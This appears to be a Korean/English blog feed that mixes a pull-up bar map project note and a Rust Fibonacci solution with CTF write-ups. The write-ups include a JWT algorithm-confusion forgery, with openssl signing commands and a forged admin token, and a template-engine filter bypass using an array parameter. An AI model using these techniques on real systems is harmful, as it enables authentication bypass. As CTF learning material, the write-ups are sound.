저기 구청장님께서 알려주신 데이터 + 내가 발품팔아서 알아낸 데이터가 전부이다. 지금 이 글을 쓰는 시점에는 9개 정도 밖에 없다. 물론 내가 쓰기에는 무리가 없는 듯 하다. 추가적으로 데이터를 기부받고 싶은데 그래서 홍보를 해야 하는데 좀 귀찮기도 하다.

버그같은걸 발견하거나 데이터를 추가하려면 어떻게 해야하는가?

일단 철봉 지도 웹 하단에다가 링크를 두긴 했는데, 데이터 추가는 내 이메일로 철봉의 위도, 경도, 간단한 설명과 사진 정도를 보내주면 된다. 위도와 경도는 저기 지도 웹에서 우측 하단에 +라고되있는 버튼을 누르면 숫자로 나타나게 된다.

그러면 내가 하나하나 검토해서 수작업으로 올릴 예정이다. 아직 홍보를 1도 안했으니 제보도 1도 안왔다.

 

버그발견시도 웹 하단에 링크에 github issue 페이지로 연결시켜놨다. 그쪽으로 남겨주면 내가 확인하고 처리하겠다.

Algorithms - Alien

2차원 누적합을 사용하면, 구간 합을 //(O(1)//)만에 구할 수 있다. 총 시간복잡도는 //(O(N^4)//)인데, //(N=500//)이므로 계산량은 625억 정도가 된다. 보통 1억번의 연산이 1초 정도 걸리므로, 대충 600초=10분 정도의 시간이 소요된다.

 

Using 2nd dimension cumulative summation, you can easily get range summation in //(O(1)//) time complexity. Then, total time complexity is //(O(N^4)//), while //(N=500//), total computing amount is about 62.5 billions.

Average CPU runs 100 million arithmetic for seconds, roughly 600 seconds(=10 minutes) will take to complete computation.

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
#define endl '\n'
ll accu[505][505];
ll sign[505][505];
ll g(int x1, int y1, int x2, int y2) {
	return accu[x2][y2] - accu[x2][y1 - 1] - accu[x1 - 1][y2] + accu[x1 - 1][y1 - 1];
}
ll s(int x1, int y1, int x2, int y2) {
	return sign[x2][y2] - sign[x2][y1 - 1] - sign[x1 - 1][y2] + sign[x1 - 1][y1 - 1];
}
int main() {

	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			int tmp;
			scanf("%d", &tmp);
			accu[i][j] = accu[i][j - 1] + tmp;
			sign[i][j] = sign[i][j - 1] + (tmp == -1);
		}
	}
	puts("got input!");
	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			accu[j][i] += accu[j - 1][i];
			sign[j][i] += sign[j - 1][i];
		}
	}
	puts("calc 누적합!");
	ll ans = 0;
	for (int i = 1; i <= 500; i++) {
		printf("Progress %d/500\n", i);
		for (int j = 1; j <= 500; j++) {
			for (int x = i; x <= 500; x++) {
				for (int y = j; y <= 500; y++) {
					ll add = g(i, j, x, y);
					if (add % 13 == 0) {
						if (s(i, j, x, y) & 1) {
							add = -add;
						}
						ans += add;
					}
				}
			}
		}
	}
	cout << ans << endl;
	return 0;
}

flag{7508511543}

 

Web - Broken Token

소스코드를 보면 웹에서 JWT를 사용한다. 그런데, 디코딩을 할 때에는 jwt 알고리즘을 명시적으로 선언해놓지 않았다. 따라서 공개키 암호 방식인 RS256대신 대칭키 암호 방식인 HS256를 강제하게 해서 jwt를 변조할 수 있다.

Inspecting the source code, it using JWT. Then, decoding phase, there is no explicit algorithm indication.

Thus, by crafting the JWT header, we can enforce server to use HS256 which is symmetric key cryptographical signiture.

 

자세한 공격 프로세스는 이 링크에 자세히 나와있다.

Detailed attack prcess is in this link

 

아래 내용은 링크가 깨질 경우를 대비한 링크 내용 카피본이다

Collapsed contents contain the back-up of the link contents, for the case of link is broken.

더보기

key.pem

-----BEGIN PUBLIC KEY-----
  MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
  NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
  1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
  H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
  ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
  2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
  KwIDAQAB
  -----END PUBLIC KEY----

이 값을 Ascii hex로 변경한다.

Transform the pem data to ascii hex.

cat key.pem | xxd -p | tr -d "\\n"

이 경우 아래 결과를 얻게 된다.

Result of above command is below.

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이를 이용해서 JWT header와 payload를 서명해보도록 하자.

Let's sign the jwt header and payload with the key.

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이때 나온 HMAC 시그니쳐는 아래와 같다.

Output is HMAC signiture.

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

이 시그니쳐 값을 한줄의 파이썬 코드로 ASCII hex 값으로 바꾼다.

You can transform this signiture to ASCII hex with one line python code

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

그 결과는 아래와 같다.

Result is here.

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

이를 이용한 최종 JWT 값은 다음과 같다.

Final valid jwt is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

실제로 사용한 JWT 값은 다음과 같다.

The JWT used to exploit is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

 

Lastest version pyJWT seems to be patched about the vulnerability.

최신 버전의 pyJWT에는 통하지 않는 듯 하다.

flag{1n53cur3_tok3n5_5474212}

Intro

대회가 진행중일때는 솔버수가 너무 낮아서 문제를 확인하지도 않았는데, 대회가 끝나고 나서 한번 풀어봤습니다.

I didn't even checked this problem during the contest due to too lower number of solvers.

After CTF finished, I just tried and solve this challenge.

 

15 puzzle은 일반적인 탐색 문제입니다. CTF와 같은 해킹 대회에서는 생소할 수 있지만, PS나 CP를 하는 사람들에게는 어느정도 풀어 볼 수 있는 기회가 있는 문제입니다. 학부때 인공지능 수업에서 일반적인 15 puzzle을 A* 알고리즘으로 풀어본적이 있었습니다. 그래서 이번 문제도 약간 변형되어 있긴 하지만, A* 알고리즘으로 풀 수 있을거라고 생각했습니다. 여기 나오는 15 puzzle은 인접한 칸과 바꾸는 것이 아닌, 체스의 나이트가 움직이는 범위의 칸과 바꿀 수 있다는 차이점이 있습니다.

15 puzzle is basic searching algorithm problem. It seems unfamiliar in security challenge like CTFs, for the people who are engaged in Problem solving or Competitive Programming area it could be familiar problem. I've seen this problem in artificial intelligence course in my university bachelor degree period. This problem can be solved with A* search algorithm. This is a little transformed version of 15 puzzle, but it is still solvable with A-star search algorithm.

The 15 puzzle have difference in movable range while classical 15 puzzle moves with adjacent 4 direction, this 15 puzzle moves like chess's knight.

 

Modeled to Graph Search Problem(그래프 탐색 문제로 모델링)

이 15 퍼즐문제는 그래프 탐색 문제로 모델링 될 수 있습니다. 모든 그래프 정점은 퍼즐의 상태를 타나내며, 처음 루트 노드는 15퍼즐의 입력 값에 따른 상태를 나타냅니다. 모든 노드들은 다른 노드로 간선이 연결되어 있으며, 만약 두개의 노드가 연결되어 있다면 한번의 움직임으로 해당 상태로 전환될 수 있다는 것을 뜻합니다.

아래 예시 그림에서는 루트 노드는 goal 상태를 나타냅니다. 루트 노드의 상태는 2개의 퍼즐 움직임이 가능한데, 이는 엣지로 연결된 자식 노드를 나타냅니다.

 

This 15 puzzle problem is a kind of graph search problem. This problem can be modeled to graph search.

Every graph node indicates the state of puzzle. Initial root node indicates input state of 15 puzzle. Every node has edge to other node. If two node is connected, it indicates that two node is both transformable with single move.

In this example diagram, the root node indicates the goal state. The root state 2 possible move, it is indicates as child node with edge.

이 탐색 문제를 풀기 위해서 우리는, BFS나 DFS같은 전통적인 탐색 알고리즘을 사용할 수 있습니다.

하지만 DFS는 최적화를 보장하지 않고, 따라서 시간이 너무 많이 걸릴 수 있습니다.

BFS 알고리즘은 최적회를 보장하지만 문제를 풀기에는 조금 느릴 수 있습니다.

To solve this search problem, we can use traditional search algorithm like BFS or DFS.

But DFS algorithm doesn't guarantee the optimal solution, so it could consume too much time.

BFS algorithm guarantee the optimal solution but it can be little bit slow to solve the problem.

A-star search algorithm

A* search algorithm can enhance search speed by prioritizing the node have more probability to reach the solution.

A* search algorithm seems very difficult, but there is nothring special than BFS(Breadth-First Search) graph searching algorithm.

In implementation level, there is one difference, while BFS uses simple queue, but A* uses priority queue.

 

Priority of node can be determined by heuristic function which is the core concept of A* algorithm.

You can use many kind of heuristic function to make this algorithm works, just not over estimating the node than real value.

 

Simple and naive heuristic function is the number of matched puzzle. I used this h-function, and I implemented this heuristic function as name hfunc.

 

Deciding unsolvable case

I refer the geeksforgeeks document to deciding the unsolvable case. In normal 15 puzzle case, unsolvable case can be detected with number of inversions. When puzzle moves, the number of inversion state alters.

Applying this rules to this type of problem, every puzzle moves, the number of inversion changes with odd number.

In goal state, number of inversions is 0(even number). From the goal state with one move, number of inversion is odd number. When number of inversion is odd number, with one move it alters to even number. The number of inversion's 2 modulo value is negated with every move.

 

 

 

solver.cpp

#include <bits/stdc++.h>
using namespace std;
typedef pair<int, int> pii;
typedef pair<int, vector<int> > State;
const int correct[4][4] = {
	{0, 1, 2, 3},
	{4, 5, 6, 7},
	{8, 9, 10, 11},
	{12, 13, 14, 15}
};
int puz[4][4];
int hfunc(int puz[][4]) {
	int ret = 0;
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			ret += (correct[i][j] == puz[i][j] ? 1 : 0);
		}
	}
	return ret;
}
vector<pii> movable;
void dump(vector<int>& arr) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			printf("%3d ", arr[i * 4 + j]);
		}
		puts("");
	}
	puts("======================================");
}
void vec2arr(vector<int>& vec, int puz[][4]) {
	for (int i = 0; i < 16; i++) {
		int& v = vec[i];
		puz[i / 4][i % 4] = v;
	}
}
void arr2vec(int puz[][4], vector<int>& vec) {
	vec.resize(16, 0);
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			vec[i * 4 + j] = puz[i][j];
		}
	}
}
void input() {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			scanf("%d", &puz[i][j]);
		}
	}
}
pii findzero(int puz[][4]) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			if (puz[i][j] == 0) return make_pair(i, j);
		}
	}
	assert(false);
	return make_pair(-1, -1);
}
bool isin(int x, int y) {
	return x >= 0 && y >= 0 && x < 4 && y < 4;
}
char dir[8][3] = {
	{-1, -2, 'q'},
	{-2, -1, 'w'},
	{-2, +1, 'e'},
	{-1, +2, 'r'},
	{+1, -2, 'a'},
	{+2, -1, 's'},
	{+2, +1, 'd'},
	{+1, +2, 'f'}
};
void unsolvable() {
	puts("unsolvable");
	exit(EXIT_SUCCESS);
}
int main() {
	input();
	State state;
	state.first = hfunc(puz);
	arr2vec(puz, state.second);
	pii zero = findzero(puz);
	int inv = 0;
	for (int i = 0; i < 16; i++) {
		for (int j = i + 1; j < 16; j++) {
			int a = state.second[i];
			int b = state.second[j];
			if (a > b) inv++;
		}
	}
	

	int id = ((zero.first + zero.second) & 1);
	if ((inv & 1) != id) {
		unsolvable();
	}
	
	map<vector<int>, State> visited;
	priority_queue<State> pq;
	visited[state.second] = make_pair(-1, vector<int>()); //initial state!
	pq.push(state);
	while (pq.size()) {
		State cur = pq.top(); pq.pop();
		if (cur.first == 16) {
			// puts("GOTCHA!");
			State p = cur;
			vector<char> move;
			while (p.second.size()) {
				if (visited[p.second].first != -1) {
					move.push_back(dir[visited[p.second].first][2]);
				}
				//To dump intermediate puzzle state
				//dump(p.second);
				p = visited[p.second];
			}
			while (move.size()) {
				putchar(move.back());
				puts("");
				move.pop_back();
			}
			return 0;
		}
		vec2arr(cur.second, puz); //puz <- 기존
		pii zero = findzero(puz);
		for (int k = 0; k < 8; k++) {
			int nx = dir[k][0] + zero.first;
			int ny = dir[k][1] + zero.second;
			if (isin(nx, ny)) {
				swap(puz[zero.first][zero.second], puz[nx][ny]); //위치 바꿈
				State next;
				next.first = hfunc(puz);
				arr2vec(puz, next.second);
				if (visited.find(next.second) == visited.end()) { //중복이 아닌 경우
					visited[next.second] = make_pair(k, cur.second); //마지막 움직임 형태와, 기존 형태를 저장함
					pq.push(next);
				}
				swap(puz[zero.first][zero.second], puz[nx][ny]); //원복 시킴
			}
		}
	}
	return 0;
}

do.py

#!/usr/bin/env python3

from pwn import *
import os

p = remote('puzzle.ctf.defenit.kr', 1515)

p.recvuntil("y/n)\n")
p.sendline("y")

def solve():
    global p
    
    with open("in.txt", "w") as f:
        for i in range(0, 4):
            f.write(p.recvuntil("\n").decode('utf-8'))
    os.system("./solver < in.txt > out.txt")
    with open("out.txt", "r") as f:
        p.send(f.read())
    resp = p.recvuntil("\n")[:-1].decode('utf-8')
    if "Solved" not in resp:
        return False
    else:
        return True
for i in range(0, 100):
    solve()
p.interactive()
p.close()

Got the flag!

 

Reference

https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/

https://gist.github.com/Einstrasse/d9b2503d068ae2a8937d15e985f02c3f

The challenge provides server js code. It uses nodejs.

if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
	res.end('Request blocked');
	return;
}

It use hbs as template engine. If I submit the syntax {{apple}}, it returns 'mint'.

 

With similar step, I we can submit the syntax {{FLAG}}, it will return the flag.

But the middleware of express engine filter the "FLAG" keyword with string type.

Then we can submit with array type.

With burp suite, use paramter key content[] instead of contet.

With chrome dev tools, replace the name content to content[]

In addition, this solution is unintended solution.

https://www.acmicpc.net/problem/2748

 

2748번: 피보나치 수 2

문제 피보나치 수는 0과 1로 시작한다. 0번째 피보나치 수는 0이고, 1번째 피보나치 수는 1이다. 그 다음 2번째 부터는 바로 앞 두 피보나치 수의 합이 된다. 이를 식으로 써보면 Fn = Fn-1 + Fn-2 (n>=2)가 된다. n=17일때 까지 피보나치 수를 써보면 다음과 같다. 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597 n이 주어졌을 때, n번째 피보나치 수를

www.acmicpc.net

Rust로 PS하기 두번째 문제이다.

 

러스트 깃북을 보다가 피보나치 수 구하기를 만들어 보라길래, 한번 간단하게 짜 보았다.

 

Rust는 역시 input 받는 것부터 난관이다.

 

책 예제대로 String으로 받은 뒤 int로 parse해서 사용했다.

 

 

use std::io;

fn fib(n : i32) {
	let mut a: i64 = 1;
	let mut b: i64 = 1;
	let mut c: i64 = 0;
	for _ in 2..n {
		c = a + b;
		a = b;
		b = c;
	}
	println!("{}", c);

}
fn main() {
	let mut input = String::new();
	io::stdin().read_line(&mut input)
		.expect("read line error");
	let n : i32 = input.trim().parse()
		.expect("Parse error");

	match n {
		1 => println!("1"),
		2 => println!("1"),
		_ => fib(n),
	}
}

코드는 간단했다. _라는 값이 예약어라는 것도 좀 신기했다. (Anything을 뜻하는 듯)

그리고 Match 구문이 switch 구문보다 더 강력하다고 한다.

 

그리고 unnecessary value, syntax에 대하여 강력한 warning으로 내 정신을 쏙 빼놓는다.

 

책만 보면 재미가 떨어지니 이렇게 간혹 코딩을 하면서 진행을 해야겠다.

+ Recent posts